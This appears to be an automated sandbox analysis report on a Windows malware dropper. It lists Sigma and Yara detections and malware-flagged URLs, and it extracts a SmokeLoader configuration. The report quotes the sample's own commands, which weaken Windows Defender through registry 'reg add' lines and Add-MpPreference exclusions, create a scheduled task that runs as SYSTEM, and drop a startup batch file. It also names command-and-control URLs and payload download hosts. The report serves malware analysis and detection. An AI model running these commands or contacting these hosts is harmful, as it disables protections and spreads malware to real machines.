Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: .\Install.exe /odidum "385118" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe, ParentProcessId: 8020, ParentProcessName: Install.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F, CommandLine: schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: .\Install.exe /odidum "385118" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe, ParentProcessId: 8020, ParentProcessName: Install.exe, ProcessCommandLine: schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F, ProcessId: 8276, ProcessName: schtasks.exe

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe, ProcessId: 7984, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Exclusions_Extensions

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\lgX7lgUL1w.exe", ParentImage: C:\Users\user\Desktop\lgX7lgUL1w.exe, ParentProcessId: 968, ParentProcessName: lgX7lgUL1w.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, ProcessId: 5760, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 7336, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, ProcessId: 3960, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xInHqHgRkuPGfp5esHw9Po4t.bat

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://45.129.96.86:80/file/update.exe	Avira URL Cloud: Label: malware
Source: https://f.123654987.xyz/525403/setup.exe_	Avira URL Cloud: Label: malware
Source: https://f.123654987.xyz/525403/setup.exev	Avira URL Cloud: Label: malware
Source: http://66.85.156.89/nafdhkdf.exe	Avira URL Cloud: Label: malware
Source: https://monoblocked.com/525403/setup.exe	Avira URL Cloud: Label: malware
Source: https://lop.foxesjoy.com:80/ssl/crt.exeBt	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\8RYSoZQFK6V9LYpTMM1le7yQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1311176
Source: C:\Users\user\AppData\Local\4lBshxehGejQoegWUuOtgGGK.exe	Avira: detection malicious, Label: HEUR/AGEN.1311176
Source: C:\Users\user\AppData\Local\DYOHZPW0D22LInRRNxYgymyV.exe	Avira: detection malicious, Label: HEUR/AGEN.1314708
Source: C:\Users\user\AppData\Local\2nhKzHIgDWCzStH9EAQv4dqj.exe	Avira: detection malicious, Label: HEUR/AGEN.1314708
Source: C:\Users\user\AppData\Local\CwXesQHbkmvSYkF54FDCGs0u.exe	Avira: detection malicious, Label: HEUR/AGEN.1314708
Source: C:\Users\user\AppData\Local\JRER40VeoC2Q4ducOjAkB8be.exe	Avira: detection malicious, Label: HEUR/AGEN.1314708

Found malware configuration

Source: 00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://dbfhns.in/tmp/index.php", "http://guteyr.cc/tmp/index.php", "http://greendag.ru/tmp/index.php", "http://lobulraualov.in.net/tmp/index.php"]}

Multi AV Scanner detection for domain / URL

Source: https://yip.su/redirect-	Virustotal: Detection: 7%	Perma Link
Source: http://5.42.66.10/download/th/retail.phphp	Virustotal: Detection: 6%	Perma Link
Source: http://45.129.96.86:80/file/update.exe	Virustotal: Detection: 20%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\2nhKzHIgDWCzStH9EAQv4dqj.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\CwXesQHbkmvSYkF54FDCGs0u.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\DYOHZPW0D22LInRRNxYgymyV.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\JRER40VeoC2Q4ducOjAkB8be.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\KFwijURKZUrjToqwGsuVqcsD.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Default15_s[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Retailer_prog[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oiii[1].exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\123p[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\default_s[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\SMjkjKVfovgJQv0DVgLWunVz.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\TZazqzIjmIm4XQvcJYbdkOMa.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\ED0F.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\VEH3hOo7SH8Curivn14XA2XL.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\aqGWEPmkK0B9sJyfEBtpOpuJ.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\eVDrCR1hP70QTfLbRAKhpUOl.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\gsV4lhPLd9AgpTxUWWWokC1J.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\iMXraNxDRLg4aVOpMn3cNrIf.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\j19ppip6hQlQefTQJUWb1E5Y.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\jRw9sx4Ek0t13Tr93vMM8tJ1.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\o3bvuCFHWJf8oEmP3T0jhkMM.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: lgX7lgUL1w.exe

Virustotal: Detection: 20%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 83.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\8RYSoZQFK6V9LYpTMM1le7yQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\4lBshxehGejQoegWUuOtgGGK.exe	Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: lgX7lgUL1w.exe, type: SAMPLE
Source: Yara match	File source: 0.2.lgX7lgUL1w.exe.233c5000058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.lgX7lgUL1w.exe.7ff7e3570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lgX7lgUL1w.exe.7ff7e3570000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lgX7lgUL1w.exe.233c5000058.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lgX7lgUL1w.exe.233c4d28818.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1201842177.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1213051292.00000233C4D27000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lgX7lgUL1w.exe PID: 968, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\lgX7lgUL1w.exe, type: DROPPED

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: lgX7lgUL1w.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460357142.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457134681.0000000004DC2000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1458012640.0000000004D51000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1462785010.000000000515A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000000.1290598899.00000001409DF000.00000080.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\806392\out\Release\Installer.pdb source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1334164364.0000000004E44000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1335128422.0000000004F05000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bash.pdbGCTL source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bash.pdb source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: notepad.pdbGCTL source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: notepad.pdb source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000000.1290598899.0000000140BB1000.00000080.00000001.01000000.0000000E.sdmp
Source:	Binary string: auditpol.pdbGCTL source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\constructicon\builds\gfx\three\20.10\drivers\2d\dal\eeu\atieah\build\wNow64a\B_rel\atieah64.pdb source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000000.1290598899.0000000140BB1000.00000080.00000001.01000000.0000000E.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdbhhh source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420338649.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426212707.0000000004460000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426427943.0000000004461000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420528579.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdb source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420338649.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426212707.0000000004460000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426427943.0000000004461000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420528579.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\615425\out\Release\360Installer.pdb0pH\| source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257115899.0000000000471000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: auditpol.pdb source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\615425\out\Release\360Installer.pdb source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257115899.0000000000471000.00000002.00000001.01000000.00000006.sdmp

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe

Spreading

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8020, type: MEMORYSTR

Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_0040553A FindFirstFileA,		18_2_0040553A
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,		18_2_004055DE

Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\Local\Temp\
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\Local\
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 91.202.233.231 80
Source: C:\Windows\explorer.exe	Network Connect: 190.224.203.37 80
Source: C:\Windows\explorer.exe	Network Connect: 45.129.96.86 80
Source: C:\Windows\explorer.exe	Network Connect: 66.85.156.89 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://dbfhns.in/tmp/index.php
Source: Malware configuration extractor	URLs: http://guteyr.cc/tmp/index.php
Source: Malware configuration extractor	URLs: http://greendag.ru/tmp/index.php
Source: Malware configuration extractor	URLs: http://lobulraualov.in.net/tmp/index.php

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: WaSFZllUCVoGMQbapl7iiNhG.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: kIqVtyaJ3Md4voRq7FbxRbNc.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: BuFPDwZaV1iS9PXkCB7kSU2D.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: VwW7Zrgqb8W4pCzz9zGBtVYi.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: QlycVMt9XxnRzBMLYO9bD2Xg.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: fb815uICkCyOkfRy3eesDn62.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: F4U52lR6G7O1cHxteAioycWo.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: 1QmyjDm1eFH0lgBrYiowPc38.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: aQ7CUsrnipUkMOjgF0nKuX1q.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: cIoVbmWEriSiViaXsDVPRBww.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: w4xiNBVLdPuuQzpgLYTzx18Y.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: 2Ik0JEK56ZEfeWSnlWXlxAQH.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: SemaoG1Uwehw633tFAn5ubO2.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: qDDOYpn1QugD92FNbGgaxms8.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: YX45oTvqMEPC5GJFPgqFMHJF.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: RzyrdRTROyDyffduQ1CbhttT.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: S0yywC6t6qDFXXOiN4mRrQOm.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: 8PAbeHuClLlqK8bLhAM9cs8l.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: fqTri05otLw3AgCCHnmdVecS.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: YV2wsGyAOAc9vN2gHfk2THwt.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: Wh0WdTK7FmemcqdqznsDUek0.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: OEf7asb27AljF1U8YK72cN6l.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: 8x9fHtTH22TaURiMTLqQ6qDQ.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: JjDJbN3mgLfy7jfCjajQylmg.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: 7XiHagxRttiQJ0jD8B1KcnGB.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: BoufAyOi6g3dz7fgFn5cKMkk.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: tFMRJ2N4WXQX8R9XoXwDeTd7.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: ECaYsN3ZlPVQpORLp9yKqP3b.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: GEiB3Ddcoc4kuTiV3LIO2ABQ.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: acQeHpiFDRznT8wjZFcvB4qB.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: WAQu9tLKGblXXebB2miyLMLA.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: ZkgAUWW1XaYJAcqvB0QszT7a.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: QdAnaM3mjG9zwvm6YlndB8Yg.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: twwmm95SEd1qhyzlGrhpRq1C.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: yn8qA7eUPrrxMa2hPKWNWLT4.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: TUdvQ3wmTDhA7WvLZJFgTEvp.exe.5.dr
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: e3VBEHEyvWHF7UQhQQ1Xwuc5.exe.19.dr
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: AaWaOfvGFn1i9dXWYSo7dRjD.exe.19.dr
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: 49PhL2u6RJaN6gkfIG6mTjtg.exe.19.dr

Yara detected Generic Downloader

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lgX7lgUL1w.exe.233c776f568.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lgX7lgUL1w.exe.233c4d28818.0.raw.unpack, type: UNPACKEDPE

Source: Joe Sandbox View	IP Address: 85.192.56.26 85.192.56.26
Source: Joe Sandbox View	IP Address: 85.192.56.26 85.192.56.26
Source: Joe Sandbox View	IP Address: 87.240.132.78 87.240.132.78
Source: Joe Sandbox View	IP Address: 87.240.132.78 87.240.132.78
Source: Joe Sandbox View	IP Address: 104.192.108.17 104.192.108.17

Source: c12YwoiQ34lE0LgBRkxJOClX.exe	String found in binary or memory: //cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com h equals www.facebook.com (Facebook)
Source: c12YwoiQ34lE0LgBRkxJOClX.exe	String found in binary or memory: //cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com h equals www.youtube.com (Youtube)
